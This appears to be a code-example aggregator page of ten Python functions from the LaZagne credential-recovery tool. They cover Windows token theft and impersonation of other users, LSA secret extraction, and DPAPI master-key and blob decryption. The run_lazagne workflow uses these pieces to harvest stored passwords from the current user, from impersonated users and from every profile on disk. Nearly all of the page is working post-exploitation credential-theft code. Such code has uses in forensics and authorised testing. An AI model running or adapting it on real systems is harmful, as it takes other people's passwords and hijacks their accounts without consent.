Пример #1
0
def list_sids():
    """
    List all SID by process
    """
    sids = []
    for pid in EnumProcesses():
        if pid <= 4:
            continue

        try:
            hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False, pid)
            if not hProcess:
                continue

            hToken = HANDLE(INVALID_HANDLE_VALUE)
            if OpenProcessToken(hProcess, tokenprivs, byref(hToken)):
                if hToken:
                    token_sid, owner = get_token_info(hToken)
                    if token_sid and owner:
                        pname = ''
                        sids.append((pid, pname, token_sid, owner))
                    CloseHandle(hToken)

            CloseHandle(hProcess)

        except Exception as e:
            print_debug('DEBUG', traceback.format_exc())
            continue

    return list(sids)
Пример #2
0
 def check_credentials(self, passwords):
     if self.umkp:
         for password in passwords:
             for ok, r in self.umkp.try_credential(sid=self.sid,
                                                   password=password):
                 if ok:
                     self.unlocked = True
                     print_debug('OK', r)
                 else:
                     print_debug('ERROR', r)
Пример #3
0
    def decrypt(self, masterkey, entropy=None, strongPassword=None):
        """Try to decrypt the blob. Returns True/False
        :rtype : bool
        :param masterkey: decrypted masterkey value
        :param entropy: optional entropy for decrypting the blob
        :param strongPassword: optional password for decrypting the blob
        """
        for algo in [crypto.CryptSessionKeyXP, crypto.CryptSessionKeyWin7]:
            try:
                sessionkey = algo(masterkey,
                                  self.salt,
                                  self.hashAlgo,
                                  entropy=entropy,
                                  strongPassword=strongPassword)
                key = crypto.CryptDeriveKey(sessionkey, self.cipherAlgo,
                                            self.hashAlgo)

                if "AES" in self.cipherAlgo.name:
                    cipher = AESModeOfOperationCBC(
                        key[:int(self.cipherAlgo.keyLength)],
                        iv="\x00" * int(self.cipherAlgo.ivLength))
                    self.cleartext = b"".join([
                        cipher.decrypt(self.cipherText[i:i + AES_BLOCK_SIZE])
                        for i in range(0, len(self.cipherText), AES_BLOCK_SIZE)
                    ])
                else:
                    cipher = self.cipherAlgo.module(
                        key, CBC, "\x00" * self.cipherAlgo.ivLength)
                    self.cleartext = cipher.decrypt(self.cipherText)

                padding = char_to_int(self.cleartext[-1])
                if padding <= self.cipherAlgo.blockSize:
                    self.cleartext = self.cleartext[:-padding]

                # check against provided HMAC
                self.signComputed = algo(masterkey,
                                         self.hmac,
                                         self.hashAlgo,
                                         entropy=entropy,
                                         verifBlob=self.blob)
                self.decrypted = self.signComputed == self.sign

                if self.decrypted:
                    return True
            except Exception:
                print_debug('DEBUG', traceback.format_exc())

        self.decrypted = False
        return self.decrypted
Пример #4
0
def run_module(title, module):
    """
    Run only one module
    """
    try:
        constant.st.title_info(title.capitalize())  # print title
        pwd_found = module.run()  # run the module
        constant.st.print_output(title.capitalize(),
                                 pwd_found)  # print the results

        # Return value - not used but needed
        yield True, title.capitalize(), pwd_found
    except Exception:
        error_message = traceback.format_exc()
        print_debug('DEBUG', error_message)
        yield False, title.capitalize(), error_message
Пример #5
0
def impersonate_token(hToken):
    """
    Impersonate token - Need admin privilege
    """
    if get_debug_privilege():
        hTokendupe = HANDLE(INVALID_HANDLE_VALUE)
        if hTokendupe:
            SecurityImpersonation = 2
            TokenPrimary = 1
            if DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, None,
                                SecurityImpersonation, TokenPrimary,
                                byref(hTokendupe)):
                CloseHandle(hToken)
                if ImpersonateLoggedOnUser(hTokendupe):
                    return hTokendupe
    else:
        print_debug('DEBUG', 'Get debug privilege failed')
    return False
Пример #6
0
    def __init__(self):
        self.smkp = None
        self.unlocked = False

        if not constant.lsa_secrets:
            # Retrieve LSA secrets
            LSASecrets().run()

        if constant.lsa_secrets:
            masterkeydir = u'C:\\Windows\\System32\\Microsoft\\Protect\\S-1-5-18\\User'
            if os.path.exists(masterkeydir):
                self.smkp = MasterKeyPool()
                self.smkp.load_directory(masterkeydir)
                self.smkp.add_system_credential(
                    constant.lsa_secrets[b'DPAPI_SYSTEM'])
                for ok, r in self.smkp.try_system_credential():
                    if ok:
                        print_debug('OK', r)
                        self.unlocked = True
                    else:
                        print_debug('ERROR', r)
Пример #7
0
def get_sid_token(token_sid):
    if token_sid == "S-1-5-18":
        sids = list_sids()
        for sid in sids:
            if "winlogon" in sid[1].lower():
                try:
                    hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False,
                                           sid[0])
                    if hProcess:
                        hToken = HANDLE(INVALID_HANDLE_VALUE)
                        if hToken:
                            OpenProcessToken(hProcess, tokenprivs,
                                             byref(hToken))
                            if hToken:
                                print_debug('INFO',
                                            u'Using PID: ' + str(sid[0]))
                                CloseHandle(hProcess)
                                return hToken

                    # CloseHandle(hToken)
                    CloseHandle(hProcess)
                except Exception as e:
                    print_debug('ERROR', u'{error}'.format(error=e))
                    break
        return False

    for pid in EnumProcesses():
        if pid <= 4:
            continue

        try:
            hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False, int(pid))
            if hProcess:
                hToken = HANDLE(INVALID_HANDLE_VALUE)
                if hToken:
                    OpenProcessToken(hProcess, tokenprivs, byref(hToken))
                    if hToken:
                        sid, owner = get_token_info(hToken)
                        if sid == token_sid:
                            print_debug(
                                'INFO',
                                u'Impersonate token from pid: ' + str(pid))
                            CloseHandle(hProcess)
                            return hToken
                    CloseHandle(hToken)
            CloseHandle(hProcess)
        except Exception as e:
            print_debug('ERROR', u'{error}'.format(error=e))

    return False
Пример #8
0
    def __init__(self, password=None, pwdhash=None):
        self.sid = None
        self.umkp = None
        self.unlocked = False

        protect_folder = os.path.join(constant.profile['APPDATA'],
                                      u'Microsoft', u'Protect')
        credhist_file = os.path.join(constant.profile['APPDATA'], u'Microsoft',
                                     u'Protect', u'CREDHIST')

        if os.path.exists(protect_folder):
            for folder in os.listdir(protect_folder):
                if folder.startswith('S-'):
                    self.sid = folder
                    break

            if self.sid:
                masterkeydir = os.path.join(protect_folder, self.sid)
                if os.path.exists(masterkeydir):
                    self.umkp = MasterKeyPool()
                    self.umkp.load_directory(masterkeydir)
                    self.umkp.add_credhist_file(sid=self.sid,
                                                credfile=credhist_file)

                    if password:
                        for ok, r in self.umkp.try_credential(
                                sid=self.sid, password=password):
                            if ok:
                                self.unlocked = True
                                print_debug('OK', r)
                            else:
                                print_debug('ERROR', r)

                    elif pwdhash:
                        for ok, r in self.umkp.try_credential_hash(
                                self.sid,
                                pwdhash=codecs.decode(pwdhash, 'hex')):
                            if ok:
                                self.unlocked = True
                                print_debug('OK', r)
                            else:
                                print_debug('ERROR', r)
Пример #9
0
def manage_response(ok, msg):
    if ok:
        return msg
    else:
        print_debug('DEBUG', u'{msg}'.format(msg=msg))
        return False
Пример #10
0
def run_lazagne(category_selected='all', subcategories={}, password=None):
    """
    Execution Workflow:
    - If admin:
        - Execute system modules to retrieve LSA Secrets and user passwords if possible
            - These secret could be useful for further decryption (e.g Wifi)
        - If a process of another user is launched try to impersone it (impersonating his token)
            - TO DO: if hashdump retrieved other local account, launch a new process using psexec techniques 
    - From our user:
        - Retrieve all passwords using their own password storage algorithm (Firefox, Pidgin, etc.)
        - Retrieve all passwords using Windows API - CryptUnprotectData (Chrome, etc.)
        - If the user password or the dpapi hash is found:
            - Retrieve all passowrds from an encrypted blob (Credentials files, Vaults, etc.)
    - From all users found on the filesystem (e.g C:\\Users) - Need admin privilege:
        - Retrieve all passwords using their own password storage algorithm (Firefox, Pidgin, etc.)
        - If the user password or the dpapi hash is found:
            - Retrieve all passowrds from an encrypted blob (Chrome, Credentials files, Vaults, etc.)

    To resume:
    - Some passwords (e.g Firefox) could be retrieved from any other user
    - CryptUnprotectData can be called only from our current session
    - DPAPI Blob can decrypted only if we have the password or the hash of the user
    """

    # Useful if this function is called from another tool
    if password:
        constant.user_password = password

    if not constant.st:
        constant.st = StandardOutput()

    # --------- Execute System modules ---------
    if ctypes.windll.shell32.IsUserAnAdmin() != 0:
        if save_hives():
            # System modules (hashdump, lsa secrets, etc.)
            constant.username = '******'
            constant.finalResults = {'User': constant.username}
            constant.system_dpapi = SystemDpapi()

            if logging.getLogger().isEnabledFor(logging.INFO):
                constant.st.print_user(constant.username)
            yield 'User', constant.username

            try:
                for r in run_category(category_selected,
                                      subcategories,
                                      system_module=True):
                    yield r
            except:  # Catch all kind of exceptions
                pass
            finally:
                delete_hives()

            constant.stdout_result.append(constant.finalResults)

    # ------ Part used for user impersonation ------

    constant.is_current_user = True
    constant.username = get_username_winapi()
    if not constant.username.endswith('$'):

        constant.finalResults = {'User': constant.username}
        constant.st.print_user(constant.username)
        yield 'User', constant.username

        set_env_variables(user=constant.username)

        for r in run_category(category_selected, subcategories):
            yield r
        constant.stdout_result.append(constant.finalResults)

    # Check if admin to impersonate
    if ctypes.windll.shell32.IsUserAnAdmin() != 0:

        # --------- Impersonation using tokens ---------

        sids = list_sids()
        impersonate_users = {}
        impersonated_user = [constant.username]

        for sid in sids:
            # Not save the current user's SIDs and not impersonate system user
            if constant.username != sid[3] and sid[2] != 'S-1-5-18':
                impersonate_users.setdefault(sid[3], []).append(sid[2])

        for user in impersonate_users:
            if 'service' in user.lower().strip():
                continue

            # Do not impersonate the same user twice
            if user in impersonated_user:
                continue

            constant.st.print_user(user)
            yield 'User', user

            constant.finalResults = {'User': user}
            for sid in impersonate_users[user]:
                try:
                    set_env_variables(user, to_impersonate=True)
                    if impersonate_sid_long_handle(sid, close=False):
                        impersonated_user.append(user)

                        # Launch module wanted
                        for r in run_category(category_selected,
                                              subcategories):
                            yield r

                        rev2self()
                        constant.stdout_result.append(constant.finalResults)
                        break
                except Exception:
                    print_debug('DEBUG', traceback.format_exc())

        # --------- Impersonation browsing file system ---------

        constant.is_current_user = False
        # Ready to check for all users remaining
        all_users = get_user_list_on_filesystem(
            impersonated_user=[constant.username])
        for user in all_users:
            # Fix value by default for user environment (APPDATA and USERPROFILE)
            set_env_variables(user, to_impersonate=True)
            constant.st.print_user(user)

            constant.username = user
            constant.finalResults = {'User': user}
            yield 'User', user

            # Retrieve passwords that need high privileges
            for r in run_category(category_selected, subcategories):
                yield r

            constant.stdout_result.append(constant.finalResults)